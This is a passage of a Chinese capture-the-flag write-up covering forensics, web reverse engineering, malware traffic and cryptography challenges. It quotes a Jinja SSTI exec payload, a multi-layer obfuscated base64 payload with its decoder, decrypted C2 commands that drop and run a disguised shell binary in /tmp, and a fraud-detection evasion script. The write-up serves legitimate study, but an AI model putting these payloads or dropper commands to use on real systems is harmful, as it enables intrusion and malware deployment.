'perfect_fraudulent_transactions.csv' with open(filename, 'w', newline='') as f: f.write(csv_output) print(f"\n数据已保存到: {filename}") # 发送到服务器 print("\n" + "="*60) response = send_and_get_response(csv_output) if response: print("\n服务器响应:") print("="*60) print(response) # 分析响应 if "Anomalies=0/" in response: print("\n 成功! 所有交易都被判定为正常!") elif "Anomalies=" in response: import re match = re.search(r'Anomalies=(\d+)/(\d+)', response) if match: anomalies = int(match.group(1)) total = int(match.group(2)) print(f"\n仍有 {anomalies}/{total} 个异常交易") if anomalies <= 3: print("尝试微调并重新发送...") # 可以尝试多次微调 else: print("未收到服务器响应") if __name__ == "__main__": main() |
获得flag
过滤HTTP协议,找最后一个POST请求login界面:

flag{zxcvbnm123}
也是过滤http的POST请求,后面看到{{7*7}}与{{config}}操作,追踪流就能看到


flag{c6242af0-6891-4510-8432-e1cdf051f160}

分析前面SSTI的内容,这一段大体意思是,
{{ url_for.globals['builtins']['exec'](
"import base64; exec(base64.b64decode('...第一段base64...'))",
{...}
)}}
用Jinja的对象链拿到python的exec,但是里面有字符串取反然后base64解码,然后zlib解压。后面很多层嵌套;拿代码还原,直到出现明文
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 | Bashimport base64import zlibimport re def extract_encrypted_data(code): """ 从代码中提取出加密的b'...'数据 """ # 查找 exec(()(b'...')) 模式 patterns = [ r"exec\(\(\)\(b['\"]([^'"]+)['\"]\)\)", # exec(()(b'...')) r"\(b['\"]([^'"]+)['\"]\)", # (b'...') r"\(\)\(b['\"]([^'"]+)['\"]\)" # (_)(b'...') ] for pattern in patterns: match = re.search(pattern, code) if match: return match.group(1) return None def decrypt_layer(encrypted_data): """ 解密一层数据: 1. 反转字符串 2. base64解码 3. zlib解压 """ # 反转字符串 reversed_data = encrypted_data[::-1] # base64解码 decoded = base64.b64decode(reversed_data) # zlib解压 decompressed = zlib.decompress(decoded) return decompressed.decode('utf-8') def recursive_decrypt_all(initial_code): """ 递归解密所有层,直到没有加密数据 """ current_code = initial_code layer = 1 while True: # 提取加密数据 encrypted_data = extract_encrypted_data(current_code) if not encrypted_data: # 没有找到加密数据,解密完成 print(f"\n解密完成!总共解密了 {layer-1} 层") print("=" * 60) print("最终解密结果:") print("=" * 60) return current_code try: # 解密这一层 decrypted = decrypt_layer(encrypted_data) current_code = decrypted layer += 1 except Exception as e: print(f"第 {layer} 层解密失败: {e}") print("=" * 60) print("当前代码内容:") print("=" * 60) return current_code if name == "main": # 提供的base64编码数据 initial_base64 = "XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkpOwpleGVjKChfKShiJz1jNENVM3hQKy8vdlB6ZnR2OGdyaTYzNWEwVDFyUXZNbEtHaTNpaUJ3dm02VEZFdmFoZlFFMlBFajdGT2NjVElQSThUR3FaTUMrbDlBb1lZR2VHVUFNY2Fyd1NpVHZCQ3YzN3lzK04xODVOb2NmbWpFL2ZPSGVpNE9uZTBDTDVUWndKb3BFbEp4THI5VkZYdlJsb2E1UXZyamlUUUtlRytTR2J5Wm0rNXpUay9WM25aMEc2TmVhcDdIdDZudSthY3hxc3Ivc2djNlJlRUZ4ZkVlMnAzMFlibXl5aXMzdWFWMXArQWowaUZ2cnRTc01Va2hKVzlWOVMvdE8rMC82OGdmeUtNL3lFOWhmNlM5ZUNEZFFwU3lMbktrRGlRazk3VFV1S0RQc09SM3BRbGRCL1VydmJ0YzRXQTFELzljdFpBV2NKK2pISkwxaytOcEN5dktHVmh4SDhETEw3bHZ1K3c5SW5VLzl6dDFzWC9Uc1VSVjdWMHhFWFpOU2xsWk1acjFrY0xKaFplQjhXNTl5bXhxZ3FYSkpZV0ppMm45NmhLdFNhMmRhYi9GMHhCdVJpWmJUWEZJRm1ENmtuR3ovb1B4ZVBUenVqUHE1SVd0OE5abXZ5TTVYRGcvTDhKVS9tQzRQU3ZYQStncWV1RHhMQ2x6Uk5ESEpVbXZ0a2FMYkp2YlpjU2c3VGdtN1VTZUpXa0NRb2pTaStJTklFajVjTjErRkZncEtSWG40Z1I5eXAzL1Y3OVduU2VFRklPNkM0aGNKYzRtd3BrKzA5dDF5dWU0K21BbGJobHhuWE0xUGZrK3NHQm1hVUZFMWtFak9wbmZHbnFzVithdU9xakpnY0RzaXZJZCt3SFBIYXp0NU1WczRySFJoWUJPQjZ5WGp1R1liRkhpM1hLV2hiN0FmTVZ2aHg3RjlhUGpObUlpR3FCVS9oUkZVdU1xQkNHK1ZWVVZBYmQ1cEZEVFpKM1A4d1V5bTZRQUFZUXZ4RytaSkRSU1F5cE9oWEsvTDRlRkZ0RXppdWZaUFN5cllQSldKbEFRc0RPK2RsaTQ2Y24xdTVBNUh5cWZuNHZ3N3pTcWUrVlVRL1JpL0tudjBwUW9XSDFkOWRHSndEZnFtZ3ZuS2krZ05SdWdjZlVqRzczVjZzL3RpaGx0OEIyM0t2bUp6cWlMUHptdWhyMFJGVUpLWmpHYTczaUxYVDRPdmxoTFJhU2JUVDR0cS9TQ2t0R1J5akxWbVNqMmtyMEdTc3FUamxMMmw2Yy9jWEtXalJNdDFrTUNtQ0NUVithSmU0bnB2b0I5OU9NbktuWlI0WXM1MjZtVEZUb1N3YTVqbXhCbWtSWUNtQTgyR0ZLN2FrNmJJUlRmRE1zV0dzWnZBRVh2M1BmdjVOUnpjSUZOTzN0YlFrZUIvTElWT1c1TGZBa21SNjgvNnpyTDBEWm9QanpGWkk1VkxmcTBydjlDd1VlSmtSM1BIY3VqKytkL2xPdms4L2gzSHpTZ1lUR0N3bDF1ano4aDRvVWlQeUdUNzROamJZN2ZKOHZVSHFOeitaVmZPdFZ3L3ozUk11cVNVekVBS3JqY1UyRE5RZWhCMG9ZN3hJbE9UOXU5QlQ0Uk9vREZvKzVaRjZ6Vm9IQTRlSWNrWFVPUDN5cFF2NXBFWUcrMHBXNE15SG1BUWZzT2FXeU1kZk1vcWJ3L005b0ltZEdLZEt5MVdxM2FxK3QreHV5VmROQVFNaG9XMkE3elF6b2I4WEdBM0c4VnVvS0hHT2NjMjVIQ2IvRlllU3hkd3lJZWRBeGtsTExZTUJIb2pUU3BEMWRFeG96ZGk4OUdpa2h6MzMwNW5kVG1FQ3YwWm9VT0hhY25xdFVVaEpseTdWZ3ZYK0psYXdBWTlvck5QVW1aTTdRS2JkT2tUZi9vOGFRbFM1RmUveFFrT01KR200TlhxTGVoaVJJYjkyNXNUZlZ4d29OZlA1djFNR2xhcllNaWZIbDJyRXA1QzcxaXBGanBBR2FFcDluUmowSmdFYTRsU1R1WWVWWHdxYlpRVDNPZlF2Z3QvYkhKbEFndXFTV3lzR2hxaElUSllNNlQxMG03MUppd2ZRSDVpTFhINVhiRms1M1FHY0cyY0FuRnJXeTcweEV2YWJtZjB1MGlrUXdwVTJzY1A4TG9FYS9DbEpuUFN1V3dpY01rVkxya1pHcW5CdmJrNkpUZzdIblQwdkdVY1Y2a2ZmSUw2Q0szYkUxRnkwUjZzbCtVUG9ZdmprZ1NJM1ViZkQ2N2JSeEl4ZWdCcFlUenlDRHpQeXRTRSthNzdzZHhzZ2hMcFVDNWh4ejRaZVhkeUlyYm1oQXFRdzVlRW5CdUFTRTVxVE1Ka1RwLy9oa3krZFQycGNpT0JZbi9BQ1NMeHByTFowQXkxK3pobCtYeVY5V0ZMNE5nQm9IMzRidmt4SDM2bmN0c3pvcFdHUHlkMTRSaVM0ZDBFcU5vY3F2dFd1M1l4a05nUCs4Zk0vZC9CMGlreEt4aC9HamttUVhhU1gvQis0MFU0YmZTYnNFSnBWT3NUSFR5NnUwTnI2N1N3N0J2Und1VnZmVDAvOGo3M2dZSEJPMmZHU0lKNDdBcllWbTIrTHpSVDBpSDVqN3lWUm1wdGNuQW44S2t4SjYzV0JHYjd1M2JkK0QrM3lsbm0xaDRBUjdNR042cjZMeHBqTmxBWDExd2EvWEIxek44Y1dVTm5DM1ZjemZ3VUV3UGZpNWR5bzluRUM1V085VW03OFdLUnJtM2M0OEl2VFVoZ2ROZVFFRG9zSWZoTVNtaWtFbHVRWDhMY0NSY0s5ZVVUODVidnI1SjVyekViK0R1aUdZeURGRzdQWmVmdkliM3czM3UycTh6bHhsdFdDU3RjNU80cThpV3JWSTd0YVpIeG93VHc1ekpnOVRkaEJaK2ZRclF0YzB5ZHJCbHZBbG5ZMTB2RUNuRlVCQSt5MWxXc1ZuOGNLeFVqVGRhdGk0QUYzaU0vS3VFdFE2Wm44Ykk0TFl3TWxHbkNBMVJHODhKOWw3RzRkSnpzV3I5eE9pRDhpTUkyTjFlWmQvUVV5NDNZc0lMV3g4MHlpQ3h6K0c0YlhmMnFOUkZ2Tk9hd1BTbnJwdjZRMG9GRVpvamx1UHg3Y09VMjdiQWJncHdUS28wVlV5SDZHNCt5c3ZpUXpVN1NSZDUxTEdHM1U2Y1QwWURpZFFtejJld3Ria2tLY0dWY1N5WU9lQ2xWNkNSejZiZEYvR20zVDIrUTkxNC9sa1piS3gxOVduWDc4cit4dzZicGp6V0xyMEUxZ2puS0NWeFcwWFNud2UraUc5ZGtHOG5DRmZqVWxoZFRhUzFnSjdMRnNtVWpuOHUvdlJRYlJMdy95NjZJcnIveW5LT0N6Uk9jZ3JuREZ4SDN6M0pUUVFwVGlEcGV5elJzRjRTbkdCTXY1SGJyK2NLNllUYTRNSWJmemo1VGkzRk1nSk5xZ0s1WGs5aHNpbEdzVTZ0VWJucDZTS2lKaFV2SjhicXluVU1Fem5kbCtTK09WUkNhSDJpSmw4VTNXanlCNjhScTRIQVRrL2NLN0xrSkhITWpDM1c3ZFRtT0JwZm9XTVZFTGFMK1JrcVdZdjBDcFc1cUVOTGxuT1BCckdhR05lSVphaHpibnJ1RVBJSVhHa0d6MWZFNWQ0Mk1hS1pzQ1VZdDF4WGlhaTkrY2JLR2ovZDBsSUNxN3VjN2JSaEVCeDQ2RHlCWFR6MWdmSm5UMnVyNng0QXZiNXdZMnBjWXJjRDJPUjZBaWtNdm0yYzBiaGFiSkI2bzBEaE9OSjRsQ3htS2RHQnp1d3J0czF1MEQyeXVvMzd5TExmc0dEdXllcE53OGx5VE5jMm55aENWQmZXMjNEbkJRbVdjMVFMQ29ScHBWaGpLWHdPcE9ES084UjhZSG5RTStyTGs2RU9hYkNkR0s1N2lSek1jVDN3YzQzNmtWbUhYRGNJMFpzWUdZNWFJQzVEYmRXalV0Mlp1VTBMbXVMd3pDVFM5OXpoT29POERLTnFiSzRiSU5MeUFJMlg5Mjh4aWIraG1JT3FwM29TZ0MyUGRGYzh5cXRoTjlTNTVvbXRleDJ4a0VlOENZNDhDNno0SnRxVnRxaFBRV1E4a3RlNnhsZXBpVllDcUliRTJWZzRmTi8vTC9mZi91Ly85cDRMejd1cTQ2eVdlbmtKL3g5MGovNW1FSW9yczVNY1N1Rmk5ZHlneXlSNXdKZnVxR2hPZnNWVndKZScpKQ==" print("开始解密...") print("=" * 60) try: # 首先解码初始的base64 decoded_initial = base64.b64decode(initial_base64).decode('utf-8') # 递归解密所有层 final_result = recursive_decrypt_all(decoded_initial) # 输出最终结果 print(final_result) # 保存最终结果到文件 with open("final_decrypted_result.txt", "w", encoding="utf-8") as f: f.write(final_result) print("\n" + "=" * 60) print(f"最终结果已保存到: final_decrypted_result.txt") except Exception as e: print(f"解密过程中出错: {e}") import traceback traceback.print_exc() |

flag{v1p3r_5tr1k3_k3y}
用之前的RC4代码与密钥进行解密后面传输过来的data字段可以看到是在执行指令

unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
mv /tmp/shell /tmp/python3.13
chmod +x /tmp/python3.13
/tmp/python3.13
所以实体文件的名字就是
flag{python3.13}
导出压缩包

逆向分析确定黑客通信的ip与端口ip.addr==192.168.1.201 && tcp.port==58782
找开始通信时的SM4交换的种子

34 95 20 46

通过ida分析可知秘钥为从C2发来的 4 字节进行随机种子生成,编写脚本求得flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | Pythonimport structnet_seed_hex = "34952046"def bswap32(x: int) -> int: return ((x & 0xff) << 24) | ((x & 0xff00) << 8) | ((x & 0xff0000) >> 8) | ((x >> 24) & 0xff)def glibc_rand4(seed: int): MOD = 2147483647 if seed == 0: seed = 1 DEG, SEP = 31, 3 state = [0] * DEG state[0] = seed % MOD for i in range(1, DEG): state[i] = (16807 * state[i - 1]) % MOD fptr, rptr = SEP, 0 def step(): nonlocal fptr, rptr val = (state[fptr] + state[rptr]) & 0xffffffff state[fptr] = val fptr = (fptr + 1) % DEG rptr = (rptr + 1) % DEG return (val >> 1) & 0x7fffffff for _ in range(10 * DEG): step() return [step() for _ in range(4)]x = int.from_bytes(bytes.fromhex(net_seed_hex), "big")seed = bswap32(x)r = glibc_rand4(seed)key = struct.pack("<4I", *r)print(key.hex()) |
flag{f71d894505e855068da9b6397ebb2b70}
题目为godot编写的2D游戏,用专门软件dgre进行反编译
软件链接:gdsdecomp:Godot reverse engineering tools - AtomGit | GitCode
找到脚本文件先点进flag.gdc查看,很清晰的AES加密,但题目不会这么简单,同时提示说要吃掉所有金币才可以验证flag,那我们继续查看coin.gdc看看金币干了啥

很明显调用了game_manager来触发加分机制,此时再去看game_manager.gdc

很清晰,1分的时候把flag函数中的key中A改成B,解AES得到flag


一道很纯的web逆向题,打开html文件找调用关系,发现在检测端是将data序列化之后,通过MD5加密,并且检验前16字节是否一致来判断是否正确,那现在问题就是找data是啥了

之前从没做过web逆向,仔细了解了一下wasm汇编发现js会向其中import传入数据同时要通过export传出数据回到js才可以完成调用链,此时随便输入账号密码就可查看release.js函数的关键传入传出函数,可以清晰的看到传入函数传入data.now函数即题目说到的时间戳

通过软件ghidra(需下载插件ghidra_wasm)可以直接将web汇编转为可阅读文本,此时可以找到我们前面提到加密data的authenticate函数,发现真正逻辑藏在function_34中,点进函数查看

结构一目了然了,31-47行对密码进行base64处理之后引入时间戳并转换成字符串之后对massage进行处理,处理结果为:message = {"username":…, "password": encodedPassword}然后下面是加密点,进行SHA256加密并存在signature,signature = HMAC-SHA256( message, timestamp(参与计算) ) 并转成可打印字符串,最后返回final = {"username":..., "password":..., "signature":...}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 | undefined4 unnamed_function_34(undefined4 param1,undefined **param2){ undefined4 uVar1; undefined **ppuVar2; undefined4 uVar3; int iVar4; double dVar5; int param2_00; undefined **local_4c; undefined4 local_48; undefined **local_44; undefined **local_40; undefined8 local_3c; undefined **local_34; undefined **local_30; undefined **local_2c; undefined4 local_28; undefined **local_24; undefined4 local_20; undefined4 local_1c; undefined **local_18; undefined4 local_14; undefined4 local_10; undefined4 local_c; undefined4 local_8; iVar4 = 0; param2_00 = 0; if ((0x12ef < (int)&local_30) && (memory_fill(0,0x30,0,&local_30), local_2c = param2, 0x12ef < (int)&local_3c)) { local_34 = (undefined **)0x0; local_3c = ZEXT48(param2); local_30 = (undefined **)unnamed_function_24((uint)param2[-1] >> 1); local_3c = ZEXT48(local_30) << 0x20; while( true ) { local_3c = CONCAT44(local_3c._4_4_,param2); if ((int)((uint)param2[-1] >> 1) <= iVar4) break; local_3c = CONCAT44(local_3c._4_4_,local_30); local_34 = param2; uVar1 = unnamed_function_25(param2,iVar4); unnamed_function_26(local_30,iVar4,uVar1); iVar4 = iVar4 + 1; } uVar1 = unnamed_function_29(local_30); local_28 = uVar1; dVar5 = import::env::Date.now(); ppuVar2 = (undefined **)unnamed_function_36((longlong)dVar5); local_30 = &PTR_u_{"username":"_ram_000010d0_ram_00001150; DAT_ram_00001154 = param1; local_2c = (undefined **)param1; local_24 = ppuVar2; local_20 = param1; local_1c = uVar1; unnamed_function_14(&PTR_u_{"username":"_ram_000010d0_ram_00001150,param1,1); local_30 = &PTR_u_{"username":"_ram_000010d0_ram_00001150; DAT_ram_0000115c = uVar1; local_2c = (undefined **)uVar1; unnamed_function_14(&PTR_u_{"username":"_ram_000010d0_ram_00001150,uVar1,1); local_30 = &PTR_u_{"username":"_ram_000010d0_ram_00001150; local_2c = (undefined **)&DAT_ram_00000900; local_4c = (undefined **)unnamed_function_31(&PTR_u_{"username":"_ram_000010d0_ram_00001150); local_30 = local_4c; local_2c = ppuVar2; local_18 = local_4c; if (0x12ef < (int)&local_4c) { memory_fill(0,0x1c,0,&local_4c); global_38 = 1; uVar3 = unnamed_function_32(local_4c); global_38 = 1; local_4c = ppuVar2; local_48 = uVar3; local_4c = (undefined **)unnamed_function_32(ppuVar2); local_44 = local_4c; local_40 = (undefined **)uVar3; iVar4 = unnamed_function_33(local_4c,uVar3); local_3c = CONCAT44(iVar4,iVar4); local_40 = (undefined **)iVar4; ppuVar2 = (undefined **)unnamed_function_24(*(undefined4 *)(iVar4 + -4)); local_34 = ppuVar2; for (; param2_00 < *(int *)(iVar4 + -4); param2_00 = param2_00 + 1) { local_40 = ppuVar2; unnamed_function_26(ppuVar2,param2_00,(uint)*(byte *)(iVar4 + param2_00)); } local_4c = ppuVar2; local_40 = (undefined **)iVar4; uVar3 = unnamed_function_29(ppuVar2); local_30 = &PTR_u_{"username":"_ram_000010d0_ram_00001230; DAT_ram_00001234 = param1; local_2c = (undefined **)param1; local_14 = uVar3; local_10 = param1; local_c = uVar1; local_8 = uVar3; unnamed_function_14(&PTR_u_{"username":"_ram_000010d0_ram_00001230,param1,1); local_30 = &PTR_u_{"username":"_ram_000010d0_ram_00001230; DAT_ram_0000123c = uVar1; local_2c = (undefined **)uVar1; unnamed_function_14(&PTR_u_{"username":"_ram_000010d0_ram_00001230,uVar1,1); local_30 = &PTR_u_{"username":"_ram_000010d0_ram_00001230; DAT_ram_00001244 = uVar3; local_2c = (undefined **)uVar3; unnamed_function_14(&PTR_u_{"username":"_ram_000010d0_ram_00001230,uVar3,1); local_30 = &PTR_u_{"username":"_ram_000010d0_ram_00001230; local_2c = (undefined **)&DAT_ram_00000900; uVar1 = unnamed_function_31(&PTR_u_{"username":"_ram_000010d0_ram_00001230); return uVar1; } } import::env::abort(&DAT_ram_00009310,&DAT_ram_00009340,1,1); do { halt_trap(); } while( true );} |
那现在就是找到"username" "password"并对时间戳进行爆破(题目中给出时间为2025.12.21之后一周)账号密码就在271行的备注里(一开始没注意能藏这

一切都齐备了直接写脚本爆破即可,这边我写的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | JavaScriptimport crypto from "node:crypto";const PREFIX = "ccaf33e3512e31f3";const md5hex = (s) => crypto.createHash("md5").update(s, "utf8").digest("hex");const wallNow = Date.now.bind(Date);let NOW = 0;const realNow = Date.now;Date.now = () => NOW;const { authenticate } = await import("./build/release.js");const start = new Date("2025-12-22T00:00:00.000+08:00").getTime();const end = new Date("2025-12-22T06:00:00.000+08:00").getTime();let lastPrint = wallNow();let iter = 0;for (NOW = start; NOW <= end; NOW++) { // 1ms step const authResult = authenticate("admin", "admin"); const check = md5hex(authResult); MD5(JSON.stringify(parsed)) if (check.startsWith(PREFIX)) { Date.now = realNow; const ts = NOW; const dtCN = new Date(ts).toLocaleString("zh-CN", { timeZone: "Asia/Shanghai", hour12: false }); console.log("FOUND"); console.log("timestamp(ms):", ts); console.log("time(UTC+8):", dtCN); console.log("check:", check); console.log(`flag{${check}}`); process.exit(0); } iter++; const t = wallNow(); if (t - lastPrint >= 1000) { const pct = ((NOW - start) / (end - start)) * 100; const rate = Math.floor(iter / ((t - lastPrint) / 1000)); console.log(`progress: ${pct.toFixed(2)}% | rate: ~${rate}/s`); iter = 0; lastPrint = t; }}Date.now = realNow;console.log("NOT FOUND in range.");process.exit(1);flag{ccaf33e3512e31f36228f0b97ccbc8f1} |
依旧web逆向,这次是流量逆向,wireshark查看流量包内容,发现全是TCP可靠传输数据,同时题目中告诉我们kworker向192.168.8.160:13337发起建立连接请求,所以kworker为客户端/木马类型,所以本体主要还是得看流量到底说了些啥再去逆向kworker,因此从流量抓起。
通过阅读流量发现是客户机向服务器发送一系列长度在64字节左右的数据,并且数据格式相当固定,前8位为魔数,后面紧跟一个len来表示最后紧跟的校验位的长度,然后紧跟密文内容,密文后就是校验位,如下如所示详细解释

客户机发的第一段数据中可以看到,TCP协议规定前8位为ET3RNUMX为固定魔数,后面跟的0X34=52表示payload有52字节长,刚好与后面内容吻合信息内容确定,现在需要看kworker到底给服务端发了什么

第一个思路,看IDA中字符找到关键点(比赛时用的),发现在字符串中找到这么一行文本

题目中说的是AES-GCM加密,根据AES-GCM的特点,密文组成为12 nonce +密文+ 16 tag,其中tag位为校验位,我们正好可以利用这一点,将原文本转为二进制文件对key进行爆破,爆破成功与否只需要在手动做一次与tag的校验即可,由于16位的长度足够,理论上只要tag相同就可以确定爆破的key成功了,这时可以直接爆破了
先挂起一个跟题目条件一样的服务,方便后续kworker去连接

启动kworker去连接这个服务,也就是通过这个服务我们可以在内存中找到kworker运行时派生出的key,将所有信息以二进制形式打印出来存到memdump_all.bin中,运行脚本爆破出key,有了key我们就可以得到flag了

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 | Pythonimport re, struct, socket, base64from cryptography.hazmat.primitives.ciphers.aead import AESGCMPCAP = r"tcp.pcap"MAG = b"ET3RNUMX"KEY = b"xfqGcVjrOWp5tUGCPFQq448nPDjILTe7"def parse_frames(pcap_bytes: bytes): if pcap_bytes[:4] == b"\xd4\xc3\xb2\xa1": endian = "<" elif pcap_bytes[:4] == b"\xa1\xb2\xc3\xd4": endian = ">" else: raise ValueError("unknown pcap magic") off = 24 out = [] while off + 16 <= len(pcap_bytes): ts_sec, ts_usec, incl_len, _ = struct.unpack_from(endian + "IIII", pcap_bytes, off) off += 16 pkt = pcap_bytes[off:off+incl_len] off += incl_len if len(pkt) < 14: continue if struct.unpack_from("!H", pkt, 12)[0] != 0x0800: continue ip = pkt[14:] if len(ip) < 20 or ip[9] != 6: continue ihl = (ip[0] & 0x0F) * 4 totlen = struct.unpack_from("!H", ip, 2)[0] tcp = ip[ihl:totlen] if len(tcp) < 20: continue doff = ((struct.unpack_from("!H", tcp, 12)[0] >> 12) & 0xF) * 4 payload = tcp[doff:] if not payload.startswith(MAG) or len(payload) < 12: continue ln = struct.unpack(">I", payload[8:12])[0] blob = payload[12:12+ln] out.append(blob) return outdef main(): frames = parse_frames(open(PCAP, "rb").read()) aes = AESGCM(KEY) b32_pat = re.compile(rb"[A-Z2-7]{20,}={0,6}") for blob in frames: pt = aes.decrypt(blob[:12], blob[12:], None) for m in b32_pat.finditer(pt): s = m.group(0) for cand in (s, s[1:]): try: dec = base64.b32decode(cand) if b"flag{" in dec: print(dec.decode().strip()) return except Exception: passif __name__ == "__main__": main() |

题目中已经告诉我们私钥是sha512(b"Welcome to this challenge!").digest(),那直接写脚本出就行了,我这边每调用ecdsa库,调用库函数可以更简单一些
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | Pythonimport hashlibfrom pathlib import PathSIG_PATH = "signatures.txt"N = int( "01FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA" "51868783BF2F966B7FCC0148F709A5D03BB5C9B8899C47AEBB6FB71E91386409", 16,)def inv(a, n): return pow(a, -1, n)def nonce(i: int) -> int: return int.from_bytes(hashlib.sha512(b"bias" + bytes([i])).digest(), "big")def parse_raw_rs(sig_hex: str): b = bytes.fromhex(sig_hex.strip()) r = int.from_bytes(b[:66], "big") s = int.from_bytes(b[66:], "big") return r, sdef e_from_msg(msg: bytes) -> int: return int.from_bytes(hashlib.sha1(msg).digest(), "big")lines = Path(SIG_PATH).read_text().strip().splitlines()mhex, shex = lines[0].split(":")msg = bytes.fromhex(mhex)r, s = parse_raw_rs(shex)k = nonce(0)e = e_from_msg(msg)d = ((s * k - e) * inv(r, N)) % Nflag = hashlib.md5(str(d).encode("ascii")).hexdigest()print(flag)flag{581bdf717b780c3cd8282e5a4d50f3a0} |
本来以为是逆向题,结果放到ida里动调直接跑死了,读了一下代码发现是斐波那契数列,同时题目给上了一个sleep函数,第一种方法直接修改源文件,可以在原计数器上加上一个mod24(因为斐波那契数列mod16的周期为24),也可以写脚本(更简单一点)


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | Plainfrom pathlib import Pathimport reb = Path("EzFlag").read_bytes()K = re.search(rb"[0-9a-f]{16}", b).group().decode()P = 24def fib_mod16(n: int) -> int: n %= P a, c = 0, 1 for _ in range(n): a, c = c, (a + c) & 0xF return a v11 = 1out = []for i in range(32): out.append(K[fib_mod16(v11)]) if i in (7, 12, 17, 22): out.append("-") v11 = (v11 * 8 + (i + 64)) % Pprint( "".join(out)) |
flag{10632674-1d219-09f29-147a2-760632674}
这个rsa还蛮有趣的,题目中给出了两个n的求值,分别为n=p*q*r*s;n1=p1*q1*r1*s1。本体突破口在于给出的平滑函数中,读题是做了相关笔记如下,由于求n的相关系数减1都会变为合数,而且合数的相关系数是p-1=p1*(2^1-2^20)所构成的一系列数,因此可以利用Pollard's p-1分解算法来求,虽然p1不是平滑数,但是p1是n1的因数,那么只需要多加个gcd即可爆破出p1的值,同理其他值也可爆破得出

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 | Pythonimport reimport secretsfrom math import gcd, isqrtE = 65537B = 1 << 20 def parse_bigint_from_line(line: str) -> int: m = re.search(r"=\s*([0-9]+)\s*$", line.strip()) return int(m.group(1))def int_to_bytes(x: int, min_len: int = 0) -> bytes: if x < 0: raise ValueError("negative int") blen = max(min_len, (x.bit_length() + 7) // 8) return x.to_bytes(blen, "big")def primes_upto(n: int) -> list[int]: sieve = bytearray(b"\x01") * (n + 1) sieve[0:2] = b"\x00\x00" r = isqrt(n) for p in range(2, r + 1): if sieve[p]: start = p * p step = p sieve[start:n+1:step] = b"\x00" * (((n - start) // step) + 1) return [i for i in range(2, n + 1) if sieve[i]]def lcm_1_to_B(B: int) -> int: ps = primes_upto(B) L = 1 for p in ps: pk = p while pk * p <= B: pk *= p L *= pk return Ldef split_with_lambda_multiple(n: int, d_odd: int, s: int, tries: int = 80) -> int | None: bases = [2, 3, 5, 7, 11, 13, 17] for _ in range(max(0, tries - len(bases))): bases.append(secrets.randbelow(n - 3) + 2) for a in bases[:tries]: g = gcd(a, n) if 1 < g < n: return g x = pow(a, d_odd, n) if x == 1 or x == n - 1: continue for _ in range(s): x_prev = x x = (x * x) % n if x == 1: g = gcd(x_prev - 1, n) if 1 < g < n: return g break if x == n - 1: break return Nonedef is_probable_prime(n: int) -> bool: if n < 2: return False small_primes = [2,3,5,7,11,13,17,19,23,29,31,37] for p in small_primes: if n == p: return True if n % p == 0: return False d = n - 1 r = 0 while d % 2 == 0: d //= 2 r += 1 for _ in range(16): a = secrets.randbelow(n - 3) + 2 x = pow(a, d, n) if x == 1 or x == n - 1: continue for _ in range(r - 1): x = (x * x) % n if x == n - 1: break else: return False return Truedef factor_all(n: int, d_odd: int, s: int) -> list[int]: if n == 1: return [] if is_probable_prime(n): return [n] f = split_with_lambda_multiple(n, d_odd, s, tries=120) return factor_all(f, d_odd, s) + factor_all(n // f, d_odd, s)def main(path: str = "output.txt"): with open(path, "r", encoding="utf-8") as f: lines = [ln.rstrip("\n") for ln in f if ln.strip()] n1 = parse_bigint_from_line(lines[0]) n = parse_bigint_from_line(lines[1]) c = parse_bigint_from_line(lines[2]) print("[*] Building L = lcm(1..2^20) ...") L = lcm_1_to_B(B) s = 20 L_odd = L >> s d_odd = n1 * L_odd print("[*] Factoring outer n using known multiple of lambda(n) ...") outer_primes = sorted(factor_all(n, d_odd, s)) print("[+] outer prime factors found:") for i, P in enumerate(outer_primes, 1): print(f" P{i}: bits={P.bit_length()}") print("[*] Recovering inner primes via gcd(P-1, n1) ...") inner_primes = [] for P in outer_primes: g = gcd(P - 1, n1) if g != 1: inner_primes.append(g) inner_primes = sorted(set(inner_primes)) if len(inner_primes) != 4: raise RuntimeError( f"Expected 4 inner primes, got {len(inner_primes)}: " f"{[p.bit_length() for p in inner_primes]}" ) print("[+] inner prime factors found:") for i, p in enumerate(inner_primes, 1): print(f" p{i}: bits={p.bit_length()}") phi1 = 1 for p in inner_primes: phi1 *= (p - 1) d_priv 